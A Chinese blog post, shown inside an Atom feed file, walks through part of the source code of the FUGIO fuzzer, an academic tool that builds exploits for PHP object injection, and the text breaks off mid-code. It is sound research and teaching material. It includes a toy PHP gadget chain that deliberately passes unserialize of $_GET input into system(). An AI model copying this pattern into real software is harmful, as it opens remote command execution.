-
Notifications
You must be signed in to change notification settings - Fork 1
/
atom.xml
594 lines (313 loc) · 588 KB
/
atom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>LionTree</title>
<link href="/atom.xml" rel="self"/>
<link href="https://liotree.github.io/"/>
<updated>2023-08-30T11:49:00.269Z</updated>
<id>https://liotree.github.io/</id>
<author>
<name>LionTree</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>FUGIO Fuzzer部分源码分析</title>
<link href="https://liotree.github.io/2023/08/16/FUGIO-Fuzzer%E9%83%A8%E5%88%86%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/"/>
<id>https://liotree.github.io/2023/08/16/FUGIO-Fuzzer%E9%83%A8%E5%88%86%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/</id>
<published>2023-08-16T08:21:59.000Z</published>
<updated>2023-08-30T11:49:00.269Z</updated>
<content type="html"><![CDATA[<p>论文:<a href="https://www.usenix.org/conference/usenixsecurity22/presentation/park-sunnyeo" target="_blank" rel="noopener">FUGIO: Automatic Exploit Generation for PHP Object Injection Vulnerabilities</a></p><p>源码:<a href="https://github.com/WSP-LAB/FUGIO" target="_blank" rel="noopener">https://github.com/WSP-LAB/FUGIO</a></p><p><img src="/images/FUGIO%E6%9E%B6%E6%9E%84.png" alt="FUGIO架构"></p><p>整体架构如图所示,先通过POP Chain Identifier静态分析出潜在的PHP反序列化漏洞利用链,再通过POP Chain Fuzzer进行动态的验证以及POC的生成。</p><p>这里主要关注POP Chain Fuzzer部分,算法伪代码描述如下:</p><p><img src="/images/FUGIO_fuzzing%E7%AE%97%E6%B3%95.png" alt="FUGIO Fuzzing算法"></p><p>主要逻辑位于<code>Fuzzer/FuzzSlave.php</code>中的<code>RunFuzz</code>方法</p><h1 id="Seed"><a href="#Seed" class="headerlink" title="Seed"></a>Seed</h1><p>Seed对应的类为<code>SeedNode</code>,其中比较重要的属性包括:</p><ul><li><p><code>$input_tree</code>,对应一条将要生成的反序列化利用链,里面会记录类名以及该类各个属性的值,也就是论文中说的property tree</p></li><li><p><code>$goal_depth</code>,在POP链(来自POP Chain Identifier的结果)中已执行的最大深度</p></li><li><p><code>depth</code>,好像没到达sink点的话就是<code>$goal_depth-1</code>,到达了sink点就一样</p></li><li><p><code>$select_count</code>,seed被选择过的次数</p></li></ul><p>对应于伪代码的1-3行,FUGIO首先生成一个seed并加入<code>seed_pool</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// First time: set root seed</span></span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">$this</span>->seed_pool->root == <span class="keyword">NULL</span>) {</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->SetRoot(<span class="keyword">$this</span>->GenerateFirstSeed());</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">GenerateFirstSeed</span><span class="params">()</span> </span>{</span><br><span class="line"> $payload_creator = <span class="keyword">new</span> PayloadCreator();</span><br><span class="line"> $new_seed = <span class="keyword">new</span> SeedNode();</span><br><span class="line"></span><br><span class="line"> $new_seed->class_template = $payload_creator->MakeGadgetTemplate(<span class="keyword">$this</span>->gadget[<span class="number">0</span>]);</span><br><span class="line"> $new_seed->input_tree = $payload_creator->GenerateRandomProperties(</span><br><span class="line"> $new_seed->class_template,</span><br><span class="line"> <span class="keyword">$this</span>->gadget[<span class="number">0</span>],</span><br><span class="line"> <span class="keyword">$this</span>->file_chain</span><br><span class="line"> );</span><br><span class="line"> $new_seed->parent = <span class="keyword">NULL</span>;</span><br><span class="line"> $new_seed->goal_depth = <span class="number">0</span>;</span><br><span class="line"> $new_seed->depth = <span class="number">-1</span>;</span><br><span class="line"> $new_seed->select_count = <span class="number">0</span>;</span><br><span class="line"> $new_seed->seed_idx = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">$this</span>->seed_pool->seed_idx += <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> $new_seed;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>举个例子:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Foo</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> $p;</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->o->jump(<span class="keyword">$this</span>->a);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Bar</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">jump</span><span class="params">($a)</span> </span>{</span><br><span class="line"> <span class="keyword">$this</span>->o2->evil($a);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Baz</span> </span>{</span><br><span class="line"> <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">evil</span><span class="params">($a)</span> </span>{</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">$this</span>->con == <span class="number">5</span>) {</span><br><span class="line"> system($a);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"> </span><br><span class="line">unserialize(base64_decode($_GET[<span class="string">'input'</span>]));</span><br></pre></td></tr></table></figure><p>此时生成的第一个seed的<code>input_tree</code>为:</p><p><img src="/images/FUGIO_input_tree.png" alt="input_tree"></p><p>可以看到此时的seed只包含链子中第一个gadget的结构,因为<code>Foo::__destruct</code>中会调用<code>$this->o</code>属性的<code>jump</code>方法,<code>$this->o</code>被设为了存在<code>jump</code>方法的<code>Bar</code>类对象,而<code>$this->a</code>则被随机设为了<code>FilePath</code>类型</p><h1 id="Select-Seed"><a href="#Select-Seed" class="headerlink" title="Select Seed"></a>Select Seed</h1><p>seed选择的实现位于<code>Fuzzer/SeedTree.php</code>中的<code>CherryPick</code>方法,对应伪代码第5行,分为3个步骤</p><h2 id="将seed按深度、被选择的次数以及是否到达sink点3个指标进行分类"><a href="#将seed按深度、被选择的次数以及是否到达sink点3个指标进行分类" class="headerlink" title="将seed按深度、被选择的次数以及是否到达sink点3个指标进行分类"></a>将seed按深度、被选择的次数以及是否到达sink点3个指标进行分类</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Split seeds by depth</span></span><br><span class="line">$seed_dict = <span class="keyword">array</span>();</span><br><span class="line">$seed_queue = <span class="keyword">array</span>(<span class="keyword">$this</span>->root);</span><br><span class="line"><span class="keyword">while</span> ($seed = array_shift($seed_queue)) {</span><br><span class="line"> <span class="keyword">if</span> (!array_key_exists($seed->goal_depth, $seed_dict)) {</span><br><span class="line"> $goal_depth = $seed->goal_depth + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">if</span> ($max_goal_depth <= $goal_depth) {</span><br><span class="line"> $max_goal_depth = $goal_depth;</span><br><span class="line"> }</span><br><span class="line"> $seed_dict[$goal_depth][<span class="string">'TRY_O'</span>] = <span class="keyword">array</span>();</span><br><span class="line"> $seed_dict[$goal_depth][<span class="string">'TRY_X'</span>] = <span class="keyword">array</span>();</span><br><span class="line"> $seed_dict[$goal_depth][<span class="string">'TRY_O_SINK_REACHED'</span>] = <span class="keyword">array</span>();</span><br><span class="line"> $seed_dict[$goal_depth][<span class="string">'TRY_X_SINK_REACHED'</span>] = <span class="keyword">array</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ($seed->select_count == <span class="number">0</span>) {</span><br><span class="line"> array_push($seed_dict[$goal_depth][<span class="string">'TRY_X'</span>], $seed);</span><br><span class="line"> <span class="keyword">if</span> ($seed->sink_reached[<span class="string">'reach'</span>] == <span class="keyword">True</span>) {</span><br><span class="line"> array_push($seed_dict[$goal_depth][<span class="string">'TRY_X_SINK_REACHED'</span>], $seed);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> array_push($seed_dict[$goal_depth][<span class="string">'TRY_O'</span>], $seed);</span><br><span class="line"> <span class="keyword">if</span> ($seed->sink_reached[<span class="string">'reach'</span>] == <span class="keyword">True</span>) {</span><br><span class="line"> array_push($seed_dict[$goal_depth][<span class="string">'TRY_O_SINK_REACHED'</span>], $seed);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">foreach</span> ($seed->child <span class="keyword">as</span> $child_seed) {</span><br><span class="line"> array_push($seed_queue, $child_seed);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>最终<code>$seed_dict</code>的结构如下:</p><p><img src="/images/FUGIO_seed_dict.png" alt="seed_dict"></p><p>其中索引<code>1</code>代表这些seeds的<code>$goal_depth</code>都为0,<code>TRY_X</code>代表未被选择过的seed,<code>TRY_O</code>则相反。如果1个seed到达了sink点,则它会同时出现在<code>TRY_X</code>和<code>TRY_X_SINK_REACHED</code>或者<code>TRY_O</code>和<code>TRY_O_SINK_REACHED</code>中</p><h2 id="按照公式计算不同深度seed的分数,根据分数按不同概率选择某一个深度的seeds"><a href="#按照公式计算不同深度seed的分数,根据分数按不同概率选择某一个深度的seeds" class="headerlink" title="按照公式计算不同深度seed的分数,根据分数按不同概率选择某一个深度的seeds"></a>按照公式计算不同深度seed的分数,根据分数按不同概率选择某一个深度的seeds</h2><p>计算分数的公式:</p><p><img src="/images/FUGIO_scores.png" alt="scores"></p><p>其中<code>diff</code>为当前seed的<code>goal_depth</code>和整个链子深度的差值</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Select depth</span></span><br><span class="line">$depth_scores = <span class="keyword">array</span>();</span><br><span class="line">$depth_sum = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">foreach</span> ($seed_dict <span class="keyword">as</span> $goal_depth => $seeds) {</span><br><span class="line"> $power = (<span class="number">5</span> * ($fianl_goal_depth - $goal_depth) / ($max_goal_depth));</span><br><span class="line"> $depth_score = <span class="number">1</span>/(<span class="number">1</span>+pow(exp(<span class="number">1</span>), $power));</span><br><span class="line"> array_push($depth_scores, $depth_score);</span><br><span class="line"> $depth_sum += $depth_score;</span><br><span class="line">}</span><br><span class="line">$depth_probability = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">foreach</span> ($depth_scores <span class="keyword">as</span> $goal_depth => $depth_score) {</span><br><span class="line"> array_push($depth_probability, $depth_score/$depth_sum);</span><br><span class="line">}</span><br><span class="line">$selected_depth_array = <span class="keyword">$this</span>->RandomChoiceByProbability($seed_dict,</span><br><span class="line"> $depth_probability);</span><br></pre></td></tr></table></figure><p>最终的<code>$selected_depth_array</code>就是被选择的某个深度的所有seeds</p><h2 id="最终选择seed"><a href="#最终选择seed" class="headerlink" title="最终选择seed"></a>最终选择seed</h2><h3 id="存在到达sink点的seed"><a href="#存在到达sink点的seed" class="headerlink" title="存在到达sink点的seed"></a>存在到达sink点的seed</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ($count_sink_reached > <span class="number">0</span>) {</span><br><span class="line"> $try_o_prob_sum = <span class="number">0</span>;</span><br><span class="line"> $sink_reached_try_o_prob_sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($selected_depth_array[<span class="string">'TRY_O'</span>] <span class="keyword">as</span> $try_o_seed) {</span><br><span class="line"> $power = $try_o_seed->select_count / ($const_exp * $const_max_try);</span><br><span class="line"> $try_o_alpha = <span class="number">2</span> / (<span class="number">1</span> + pow($const_exp, $power));</span><br><span class="line"> <span class="keyword">if</span> ($try_o_seed->sink_reached[<span class="string">'reach'</span>]) {</span><br><span class="line"> $try_o_prob = (($const_sink_weight) /</span><br><span class="line"> ($count_try_o_sink_reached + $count_try_x_sink_reached)) *</span><br><span class="line"> $try_o_alpha;</span><br><span class="line"> $sink_reached_try_o_prob_sum += $try_o_prob;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> $try_o_prob = ((<span class="number">1</span> - $const_sink_weight) /</span><br><span class="line"> (($count_try_o + $count_try_x) -</span><br><span class="line"> ($count_try_o_sink_reached + $count_try_x_sink_reached))) *</span><br><span class="line"> $try_o_alpha;</span><br><span class="line"> $try_o_prob_sum += $try_o_prob;</span><br><span class="line"> }</span><br><span class="line"> array_push($seeds, $try_o_seed);</span><br><span class="line"> array_push($seed_probabilities, $try_o_prob);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span> ($selected_depth_array[<span class="string">'TRY_X'</span>] <span class="keyword">as</span> $try_x_seed) {</span><br><span class="line"> <span class="keyword">if</span> ($try_x_seed->sink_reached[<span class="string">'reach'</span>]) {</span><br><span class="line"> $try_x_prob = ($const_sink_weight - $sink_reached_try_o_prob_sum) /</span><br><span class="line"> ($count_try_x_sink_reached);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> $try_x_prob = (((<span class="number">1</span> - $const_sink_weight) - ($try_o_prob_sum)) /</span><br><span class="line"> (($count_try_o + $count_try_x) -</span><br><span class="line"> ($count_try_o_sink_reached + $count_try_x_sink_reached) -</span><br><span class="line"> ($count_try_o)));</span><br><span class="line"> }</span><br><span class="line"> array_push($seeds, $try_x_seed);</span><br><span class="line"> array_push($seed_probabilities, $try_x_prob);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>其中的<code>$const_sink_weight</code>为<code>0.9</code>,也就是论文中说的:</p><blockquote><p>When the seed pool includes seeds that reach the sink,<br>FUGIO splits the probability of 1.0 into 0.9 and 0.1. It then<br>uniformly distributes the probability of 0.9 across seeds that<br>have reached the sink. The probability of 0.1 is also uniformly<br>distributed across the remaining seeds in the pool.</p></blockquote><h3 id="不存在到达sink点的seed"><a href="#不存在到达sink点的seed" class="headerlink" title="不存在到达sink点的seed"></a>不存在到达sink点的seed</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span> {</span><br><span class="line"> $try_o_prob_sum = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($selected_depth_array[<span class="string">'TRY_O'</span>] <span class="keyword">as</span> $try_o_seed) {</span><br><span class="line"> $power = $try_o_seed->select_count / ($const_exp * $const_max_try);</span><br><span class="line"> $try_o_alpha = <span class="number">2</span> / (<span class="number">1</span> + pow($const_exp, $power));</span><br><span class="line"> $try_o_prob = (<span class="number">1</span> / ($count_try_o + $count_try_x)) * $try_o_alpha;</span><br><span class="line"> array_push($seeds, $try_o_seed);</span><br><span class="line"> array_push($seed_probabilities, $try_o_prob);</span><br><span class="line"> $try_o_prob_sum += $try_o_prob;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">foreach</span> ($selected_depth_array[<span class="string">'TRY_X'</span>] <span class="keyword">as</span> $try_x_seed) {</span><br><span class="line"> $try_x_prob = (<span class="number">1</span> - $try_o_prob_sum) / ($count_try_x);</span><br><span class="line"> array_push($seeds, $try_x_seed);</span><br><span class="line"> array_push($seed_probabilities, $try_x_prob);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>也是类似,<code>TRY_O</code>和<code>TRY_X</code>的计算方式不同,更倾向于选择<code>TRY_X</code></p><h1 id="Mutation"><a href="#Mutation" class="headerlink" title="Mutation"></a>Mutation</h1><p>伪代码第6行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Add new properties</span></span><br><span class="line">$copied_seed->input_tree = $payload_creator->MakeAuxiliaryTemplateWithProp(</span><br><span class="line"> $copied_seed->input_tree,</span><br><span class="line"> <span class="keyword">$this</span>->gadget[$selected_seed->depth + <span class="number">1</span>],</span><br><span class="line"> <span class="keyword">$this</span>->cand_props_hash_table</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"><span class="comment">// Mutate properties</span></span><br><span class="line">$copied_seed->input_tree = $payload_creator->SetMutateProperties(</span><br><span class="line"> $copied_seed->input_tree,</span><br><span class="line"> <span class="keyword">$this</span>->file_chain, <span class="keyword">$this</span>->gadget,</span><br><span class="line"> <span class="keyword">$this</span>->cand_class, <span class="keyword">$this</span>->cand_foreach,</span><br><span class="line"> <span class="keyword">$this</span>->hinting_infos,</span><br><span class="line"> $copied_seed->array_hinting,</span><br><span class="line"> $copied_seed->array_object</span><br><span class="line"> );</span><br></pre></td></tr></table></figure><h2 id="Add-New-Properties"><a href="#Add-New-Properties" class="headerlink" title="Add New Properties"></a>Add New Properties</h2><p>实现位于<code>/Fuzzer/PayloadCreator.php</code>中的<code>MakeAuxiliaryTemplateWithProp</code>方法</p><p>这里会随机添加一些类中明确定义但在给定方法中没有直接使用的属性,比如上面那个例子中虽然<code>Foo::__destruct</code>中没有用到<code>$p</code>,但仍然有一定概率将<code>$p</code>添加到<code>input_tree</code>中,虽然并不知道这样有啥用…</p><ul><li>判断是否需要添加属性</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$gen_aux_probability = rand(<span class="number">1</span>, <span class="number">100</span>);</span><br><span class="line"><span class="keyword">if</span> ($gen_aux_probability > MAKE_AUX_PROP) { <span class="comment">// Make Aux?</span></span><br><span class="line"> <span class="keyword">return</span> $input_tree;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>遍历该类明确定义的属性(<code>$gadget_info->prop_list</code>),按照一定概率保存到<code>$aux_props</code></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$prop_list = $gadget_info->prop_list;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Aux prop in prop_list (selecting)</span></span><br><span class="line">$aux_props = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">foreach</span> ($prop_list <span class="keyword">as</span> $prop) {</span><br><span class="line"> $gen_aux_sub_probability = rand(<span class="number">1</span>, <span class="number">100</span>);</span><br><span class="line"> <span class="keyword">if</span> ($gen_aux_sub_probability <= MAKE_AUX_SUB_PROP) {</span><br><span class="line"> array_push($aux_props, $prop);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><ul><li>添加到seed中去,<code>new_aux_props</code>中保存的是<code>$aux_props</code>中属性构造的属性树</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Adding Aux prop (prop_list)</span></span><br><span class="line"><span class="keyword">if</span> ($node[<span class="string">'value'</span>] == $gadget_info->class <span class="keyword">and</span> $node[<span class="string">'file'</span>] == $gadget_info->file) {</span><br><span class="line"> <span class="keyword">foreach</span> ($new_aux_props <span class="keyword">as</span> $new_obj_property) {</span><br><span class="line"> $new_add_flag = <span class="keyword">True</span>;</span><br><span class="line"> <span class="keyword">foreach</span> ($node[<span class="string">'deps'</span>] <span class="keyword">as</span> $obj_property_key => $obj_property_value) {</span><br><span class="line"> <span class="keyword">if</span> ($new_obj_property[<span class="string">'name'</span>] == $obj_property_value[<span class="string">'name'</span>]) {</span><br><span class="line"> $new_add_flag = <span class="keyword">False</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> ($new_add_flag) {</span><br><span class="line"> $adding_props[$new_obj_property[<span class="string">'name'</span>]] = $new_obj_property;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> $node[<span class="string">'deps'</span>] = $node[<span class="string">'deps'</span>] + $adding_props;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>除了<code>prop_list</code>之外还会添加<code>prop_candidates</code>中的属性,没看懂啥时候会用到这个,试了几个benchmark感觉像是废的…</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Aux prop in prop_candidates (Selecting)</span></span><br><span class="line">$aux_props_cands = <span class="keyword">array</span>();</span><br><span class="line"><span class="keyword">foreach</span> ($cand_props_hash_table <span class="keyword">as</span> $cand_class => $props_in_class) {</span><br><span class="line"> <span class="keyword">foreach</span> ($props_in_class <span class="keyword">as</span> $prop_in_class) {</span><br><span class="line"> $gen_aux_sub_probability = rand(<span class="number">1</span>, <span class="number">100</span>);</span><br><span class="line"> <span class="keyword">if</span> ($gen_aux_sub_probability <= MAKE_AUX_SUB_PROP) {</span><br><span class="line"> <span class="keyword">if</span> (!array_key_exists($cand_class, $aux_props_cands)) {</span><br><span class="line"> $aux_props_cands[$cand_class] = <span class="keyword">array</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> $aux_props_cands[$cand_class][$prop_in_class[<span class="string">'name'</span>]] = $prop_in_class;</span><br><span class="line"> <span class="comment">// array_push($aux_props_cands[$cand_class], $prop_in_class);</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="Mutate-Properties"><a href="#Mutate-Properties" class="headerlink" title="Mutate Properties"></a>Mutate Properties</h2><p>对seed中的属性进行变异,实现位于<code>/Fuzzer/PayloadCreator.php</code>中的<code>SetMutateProperties</code>方法</p><ul><li>针对<code>Object</code>类型进行变异时会随机从候选的类中随机选择。例如上面那个例子中<code>__destruct</code>中调用了<code>$this->o</code>的<code>jump</code>方法,候选的类就只有包含<code>jump</code>方法的<code>Bar</code>类</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">elseif</span> (rand(<span class="number">0</span>, <span class="number">100</span>) <= <span class="number">70</span>) { <span class="comment">//变异</span></span><br><span class="line"> $obj_candidates = $candidates->candidates;</span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">empty</span>($obj_candidates)) {</span><br><span class="line"> $choice = rand(<span class="number">0</span>, count($obj_candidates) - <span class="number">1</span>);</span><br><span class="line"> <span 